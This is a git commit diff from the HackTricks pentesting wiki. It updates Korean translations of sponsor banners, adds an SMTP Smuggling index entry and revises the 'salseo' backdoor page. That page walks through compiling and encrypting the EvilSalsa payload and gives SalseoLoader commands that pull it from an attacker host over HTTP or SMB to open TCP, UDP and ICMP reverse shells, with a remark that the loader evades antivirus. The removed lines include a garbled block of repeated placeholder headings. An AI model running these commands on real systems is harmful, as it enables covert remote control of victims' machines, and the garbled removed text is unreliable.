Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 175 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 90 KiB |
Before Width: | Height: | Size: 90 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 172 KiB |
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 68 KiB After Width: | Height: | Size: 154 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 53 KiB |
Before Width: | Height: | Size: 53 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 1 MiB |
After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 7.8 KiB |
Before Width: | Height: | Size: 7.8 KiB After Width: | Height: | Size: 48 KiB |
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 76 KiB |
Before Width: | Height: | Size: 76 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 237 KiB |
Before Width: | Height: | Size: 237 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 56 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 708 KiB |
BIN
.gitbook/assets/image (5) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 3.2 MiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 18 KiB |
Before Width: | Height: | Size: 18 KiB After Width: | Height: | Size: 111 KiB |
Before Width: | Height: | Size: 111 KiB After Width: | Height: | Size: 246 KiB |
Before Width: | Height: | Size: 246 KiB After Width: | Height: | Size: 201 KiB |
Before Width: | Height: | Size: 201 KiB After Width: | Height: | Size: 407 KiB |
39
README.md
|
@ -30,16 +30,17 @@ _해킹트릭 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instag
|
|||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com)은 **스페인**에서 가장 중요한 사이버 보안 이벤트 중 하나이자 **유럽**에서 가장 중요한 이벤트 중 하나입니다. 기술 지식을 증진하는 것을 임무로 삼아 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남 지점입니다.
|
||||
[**RootedCON**](https://www.rootedcon.com)은 **스페인**에서 가장 중요한 사이버 보안 이벤트 중 하나이자 **유럽**에서 가장 중요한 이벤트 중 하나입니다. 기술 지식을 증진하는 것을 임무로 삼아 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남의 장입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti**는 **유럽 최고의** 윤리적 해킹 및 **버그 바운티 플랫폼**입니다.
|
||||
|
||||
|
@ -51,10 +52,10 @@ _해킹트릭 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instag
|
|||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 자동화할 수 있습니다.
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급**한 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 자동화하세요.
|
||||
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
|
@ -64,7 +65,7 @@ _해킹트릭 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instag
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
경험 많은 해커 및 버그 바운티 헌터들과 소통하려면 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요!
|
||||
|
||||
|
@ -72,10 +73,10 @@ _해킹트릭 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instag
|
|||
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용
|
||||
|
||||
**실시간 해킹 뉴스**\
|
||||
실시간 뉴스 및 통찰력을 통해 빠르게 변화하는 해킹 세계를 파악하세요
|
||||
실시간 뉴스 및 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요
|
||||
|
||||
**최신 공지**\
|
||||
출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 알아보세요
|
||||
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아보세요
|
||||
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 오늘부터 최고의 해커들과 협업을 시작하세요!**
|
||||
|
||||
|
@ -83,17 +84,17 @@ _해킹트릭 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instag
|
|||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - 필수 침투 테스트 툴킷
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능으로 완전한 펜테스트를 어디서든 실행하세요. 우리는 펜테스터를 대체하지 않습니다 - 깊이 파고들고 쉘을 열고 즐기기 위해 사용자 정의 도구, 탐지 및 공격 모듈을 개발합니다.
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능으로 완전한 펜테스트를 어디서든 실행하세요. 우리는 펜테스터를 대체하지 않습니다 - 그들에게 시간을 돌려주기 위해 사용자 정의 도구, 탐지 및 공격 모듈을 개발하여 더 깊이 파고들고 쉘을 열고 즐길 수 있도록 합니다.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
\### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -103,13 +104,13 @@ _해킹트릭 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instag
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl)은 **암스테르담**에 본사를 둔 전문적인 사이버 보안 회사로, **현대적인** 접근 방식으로 비즈니스를 **전 세계적으로** 최신 사이버 보안 위협으로부터 보호합니다.
|
||||
[**WebSec**](https://websec.nl)은 **암스테르담**에 기반을 둔 전문적인 사이버 보안 회사로, **현대적인** 접근 방식으로 비즈니스를 **전 세계적으로** 최신 사이버 보안 위협으로부터 보호합니다.
|
||||
|
||||
WebSec는 **모든 것을 다 하는 보안 회사**로, 펜테스팅, **보안** 감사, 인식 훈련, 피싱 캠페인, 코드 리뷰, 익스플로잇 개발, 보안 전문가 아웃소싱 등을 제공합니다.
|
||||
|
||||
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신들의 기술에 대해 매우 자신 있다는 것**입니다. 그들의 웹사이트에는 "**만약 우리가 해킹할 수 없다면, 지불하지 않습니다!**"라고 명시되어 있습니다. 자세한 정보는 [**웹사이트**](https://websec.nl/en/) 및 [**블로그**](https://websec.nl/blog/)를 참조하세요!
|
||||
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신들의 기술에 대해 매우 자신 있다는 것**입니다. 그들의 웹사이트에는 "**만약 우리가 해킹할 수 없다면, 지불할 필요가 없습니다!**"라고 명시되어 있습니다. 자세한 정보는 [**웹사이트**](https://websec.nl/en/) 및 [**블로그**](https://websec.nl/blog/)를 확인하세요!
|
||||
|
||||
위와 같은 사항 외에도 WebSec는 HackTricks의 **열렬한 지지자**입니다.
|
||||
위와 같은 WebSec는 HackTricks를 열심히 지원합니다.
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
|
@ -123,14 +124,14 @@ WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신들
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**[htARTE (HackTricks AWS Red Team Expert)](https://training.hacktricks.xyz/courses/arte)**를 통해 제로부터 AWS 해킹 전문가가 되세요!</strong></summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 제출하여 HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -353,6 +353,7 @@
|
|||
* [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md)
|
||||
* [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md)
|
||||
* [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md)
|
||||
* [SMTP Smuggling](network-services-pentesting/pentesting-smtp/smtp-smuggling.md)
|
||||
* [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md)
|
||||
* [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md)
|
||||
* [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md)
|
||||
|
|
|
@ -2,37 +2,37 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 이진 파일 컴파일하기
|
||||
## 이진 파일 컴파일
|
||||
|
||||
깃허브에서 소스 코드를 다운로드하고 **EvilSalsa**와 **SalseoLoader**를 컴파일하세요. 코드를 컴파일하려면 **Visual Studio**가 설치되어 있어야 합니다.
|
||||
깃허브에서 소스 코드를 다운로드하고 **EvilSalsa** 및 **SalseoLoader**를 컴파일하세요. 코드를 컴파일하려면 **Visual Studio**가 설치되어 있어야 합니다.
|
||||
|
||||
이 프로젝트를 Windows 상자에서 사용할 아키텍처에 맞게 컴파일하세요(Windows가 x64를 지원하는 경우 해당 아키텍처로 컴파일하세요).
|
||||
이러한 프로젝트를 **Windows 상자의 아키텍처에 맞게 컴파일**하세요(Windows가 x64를 지원하는 경우 해당 아키텍처로 컴파일).
|
||||
|
||||
Visual Studio에서 **왼쪽 "Build" 탭**의 **"Platform Target"**에서 아키텍처를 **선택**할 수 있습니다.
|
||||
Visual Studio 내에서 **"Platform Target"**에서 **왼쪽 "Build" 탭**에서 **아키텍처를 선택**할 수 있습니다.
|
||||
|
||||
(\*\*이 옵션을 찾을 수 없는 경우 **"Project Tab"**에서 **"\<Project Name> Properties"**로 이동하세요)
|
||||
(\*\*이 옵션을 찾을 수 없는 경우 **"Project Tab"**을 누르고 **"\<Project Name> Properties"**를 선택하세요)
|
||||
|
||||
![](<../.gitbook/assets/image (132).png>)
|
||||
|
||||
그런 다음, 두 프로젝트를 빌드하세요 (Build -> Build Solution) (로그에 실행 파일의 경로가 표시됩니다):
|
||||
그런 다음, 두 프로젝트를 빌드하세요 (Build -> Build Solution) (로그 내에서 실행 파일의 경로가 표시됩니다):
|
||||
|
||||
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
||||
|
||||
## 백도어 준비하기
|
||||
## 백도어 준비
|
||||
|
||||
먼저, **EvilSalsa.dll**을 인코딩해야 합니다. 이를 위해 python 스크립트 **encrypterassembly.py**를 사용하거나 프로젝트 **EncrypterAssembly**를 컴파일할 수 있습니다:
|
||||
먼저, **EvilSalsa.dll을 인코딩**해야 합니다. 이를 위해 **encrypterassembly.py** 파이썬 스크립트를 사용하거나 프로젝트 **EncrypterAssembly**를 컴파일할 수 있습니다:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
|
@ -40,225 +40,31 @@ python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
|||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
### Windows
|
||||
|
||||
#### Salseo
|
||||
|
||||
##### Salseo - Backdoor
|
||||
|
||||
###### Salseo - Backdoor - Persistence
|
||||
|
||||
###### Salseo - Backdoor - Privilege Escalation
|
||||
|
||||
###### Salseo - Backdoor - Lateral Movement
|
||||
|
||||
###### Salseo - Backdoor - Exfiltration
|
||||
|
||||
###### Salseo - Backdoor - Defense Evasion
|
||||
|
||||
###### Salseo - Backdoor - Credential Access
|
||||
|
||||
###### Salseo - Backdoor - Discovery
|
||||
|
||||
###### Salseo - Backdoor - Collection
|
||||
|
||||
###### Salseo - Backdoor - Command and Control
|
||||
|
||||
###### Salseo - Backdoor - Execution
|
||||
|
||||
###### Salseo - Backdoor - Impact
|
||||
|
||||
##### Salseo - RAT
|
||||
|
||||
###### Salseo - RAT - Persistence
|
||||
|
||||
###### Salseo - RAT - Privilege Escalation
|
||||
|
||||
###### Salseo - RAT - Lateral Movement
|
||||
|
||||
###### Salseo - RAT - Exfiltration
|
||||
|
||||
###### Salseo - RAT - Defense Evasion
|
||||
|
||||
###### Salseo - RAT - Credential Access
|
||||
|
||||
###### Salseo - RAT - Discovery
|
||||
|
||||
###### Salseo - RAT - Collection
|
||||
|
||||
###### Salseo - RAT - Command and Control
|
||||
|
||||
###### Salseo - RAT - Execution
|
||||
|
||||
###### Salseo - RAT - Impact
|
||||
|
||||
##### Salseo - Web Shell
|
||||
|
||||
###### Salseo - Web Shell - Persistence
|
||||
|
||||
###### Salseo - Web Shell - Privilege Escalation
|
||||
|
||||
###### Salseo - Web Shell - Lateral Movement
|
||||
|
||||
###### Salseo - Web Shell - Exfiltration
|
||||
|
||||
###### Salseo - Web Shell - Defense Evasion
|
||||
|
||||
###### Salseo - Web Shell - Credential Access
|
||||
|
||||
###### Salseo - Web Shell - Discovery
|
||||
|
||||
###### Salseo - Web Shell - Collection
|
||||
|
||||
###### Salseo - Web Shell - Command and Control
|
||||
|
||||
###### Salseo - Web Shell - Execution
|
||||
|
||||
###### Salseo - Web Shell - Impact
|
||||
|
||||
##### Salseo - Trojan
|
||||
|
||||
###### Salseo - Trojan - Persistence
|
||||
|
||||
###### Salseo - Trojan - Privilege Escalation
|
||||
|
||||
###### Salseo - Trojan - Lateral Movement
|
||||
|
||||
###### Salseo - Trojan - Exfiltration
|
||||
|
||||
###### Salseo - Trojan - Defense Evasion
|
||||
|
||||
###### Salseo - Trojan - Credential Access
|
||||
|
||||
###### Salseo - Trojan - Discovery
|
||||
|
||||
###### Salseo - Trojan - Collection
|
||||
|
||||
###### Salseo - Trojan - Command and Control
|
||||
|
||||
###### Salseo - Trojan - Execution
|
||||
|
||||
###### Salseo - Trojan - Impact
|
||||
|
||||
##### Salseo - Keylogger
|
||||
|
||||
###### Salseo - Keylogger - Persistence
|
||||
|
||||
###### Salseo - Keylogger - Privilege Escalation
|
||||
|
||||
###### Salseo - Keylogger - Lateral Movement
|
||||
|
||||
###### Salseo - Keylogger - Exfiltration
|
||||
|
||||
###### Salseo - Keylogger - Defense Evasion
|
||||
|
||||
###### Salseo - Keylogger - Credential Access
|
||||
|
||||
###### Salseo - Keylogger - Discovery
|
||||
|
||||
###### Salseo - Keylogger - Collection
|
||||
|
||||
###### Salseo - Keylogger - Command and Control
|
||||
|
||||
###### Salseo - Keylogger - Execution
|
||||
|
||||
###### Salseo - Keylogger - Impact
|
||||
|
||||
##### Salseo - Ransomware
|
||||
|
||||
###### Salseo - Ransomware - Persistence
|
||||
|
||||
###### Salseo - Ransomware - Privilege Escalation
|
||||
|
||||
###### Salseo - Ransomware - Lateral Movement
|
||||
|
||||
###### Salseo - Ransomware - Exfiltration
|
||||
|
||||
###### Salseo - Ransomware - Defense Evasion
|
||||
|
||||
###### Salseo - Ransomware - Credential Access
|
||||
|
||||
###### Salseo - Ransomware - Discovery
|
||||
|
||||
###### Salseo - Ransomware - Collection
|
||||
|
||||
###### Salseo - Ransomware - Command and Control
|
||||
|
||||
###### Salseo - Ransomware - Execution
|
||||
|
||||
###### Salseo - Ransomware - Impact
|
||||
|
||||
##### Salseo - Rootkit
|
||||
|
||||
###### Salseo - Rootkit - Persistence
|
||||
|
||||
###### Salseo - Rootkit - Privilege Escalation
|
||||
|
||||
###### Salseo - Rootkit - Lateral Movement
|
||||
|
||||
###### Salseo - Rootkit - Exfiltration
|
||||
|
||||
###### Salseo - Rootkit - Defense Evasion
|
||||
|
||||
###### Salseo - Rootkit - Credential Access
|
||||
|
||||
###### Salseo - Rootkit - Discovery
|
||||
|
||||
###### Salseo - Rootkit - Collection
|
||||
|
||||
###### Salseo - Rootkit - Command and Control
|
||||
|
||||
###### Salseo - Rootkit - Execution
|
||||
|
||||
###### Salseo - Rootkit - Impact
|
||||
|
||||
##### Salseo - Botnet
|
||||
|
||||
###### Salseo - Botnet - Persistence
|
||||
|
||||
###### Salseo - Botnet - Privilege Escalation
|
||||
|
||||
###### Salseo - Botnet - Lateral Movement
|
||||
|
||||
###### Salseo - Botnet - Exfiltration
|
||||
|
||||
###### Salseo - Botnet - Defense Evasion
|
||||
|
||||
###### Salseo - Botnet - Credential Access
|
||||
|
||||
###### Salseo - Botnet - Discovery
|
||||
|
||||
###### Salseo - Botnet - Collection
|
||||
|
||||
###### Salseo - Botnet - Command and Control
|
||||
|
||||
###### Salseo - Botnet - Execution
|
||||
|
||||
###### Salseo - Botnet - Impact
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
좋아요, 이제 Salseo 작업을 실행하기 위해 필요한 모든 것을 갖고 있습니다: **인코딩된 EvilDalsa.dll**과 **SalseoLoader의 이진 파일**입니다.
|
||||
이제 Salseo 작업을 실행하는 데 필요한 모든 것을 갖추었습니다: **인코딩된 EvilDalsa.dll**과 **SalseoLoader의 이진 파일**.
|
||||
|
||||
**SalseoLoader.exe 이진 파일을 기기에 업로드하세요. 어떤 AV에서도 감지되지 않아야 합니다...**
|
||||
**SalseoLoader.exe 바이너리를 기계에 업로드하십시오. 어떤 AV에서도 감지되지 않아야 합니다...**
|
||||
|
||||
## **백도어 실행하기**
|
||||
## **백도어 실행**
|
||||
|
||||
### **TCP 역쉘 얻기 (HTTP를 통해 인코딩된 dll 다운로드)**
|
||||
### **TCP 역쉘 획득 (HTTP를 통해 인코딩된 dll 다운로드)**
|
||||
|
||||
역쉘 리스너로 nc를 시작하고, 인코딩된 evilsalsa를 제공하기 위해 HTTP 서버를 실행하는 것을 잊지 마세요.
|
||||
인코딩된 evilsalsa를 제공하기 위해 HTTP 서버를 시작하고 역쉘 리스너로 nc를 시작하는 것을 기억하세요.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **UDP 역쉘 획득하기 (SMB를 통해 인코딩된 dll 다운로드)**
|
||||
### **UDP 리버스 쉘 얻기 (SMB를 통해 인코딩된 dll 다운로드)**
|
||||
|
||||
역쉘 리스너로 nc를 시작하고, 인코딩된 evilsalsa를 제공하기 위해 SMB 서버를 시작하는 것을 기억하세요 (impacket-smbserver).
|
||||
UDP 리버스 쉘 수신기로 nc를 시작하고 인코딩된 evilsalsa를 제공하기 위해 SMB 서버를 시작하세요 (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **ICMP 역쉘 획득 (피해자 내부에 이미 인코딩된 dll이 있는 경우)**
|
||||
### **ICMP 역쉘 얻기 (인코딩된 dll 이미 피해자 내부에 존재)**
|
||||
|
||||
**이번에는 역쉘을 수신하기 위해 클라이언트에 특수 도구가 필요합니다. 다음을 다운로드하세요:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
**이번에는 역쉘을 수신하기 위해 클라이언트에 특수 도구가 필요합니다. 다운로드:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **ICMP 응답 비활성화:**
|
||||
```
|
||||
|
@ -267,29 +73,7 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
|||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
#### 클라이언트 실행하기:
|
||||
|
||||
```bash
|
||||
python3 client.py
|
||||
```
|
||||
|
||||
#### Execute the server:
|
||||
|
||||
```bash
|
||||
python3 server.py
|
||||
```
|
||||
|
||||
#### 클라이언트 실행하기:
|
||||
|
||||
```bash
|
||||
python3 client.py
|
||||
```
|
||||
|
||||
#### 서버 실행하기:
|
||||
|
||||
```bash
|
||||
python3 server.py
|
||||
```
|
||||
#### 클라이언트 실행:
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
|
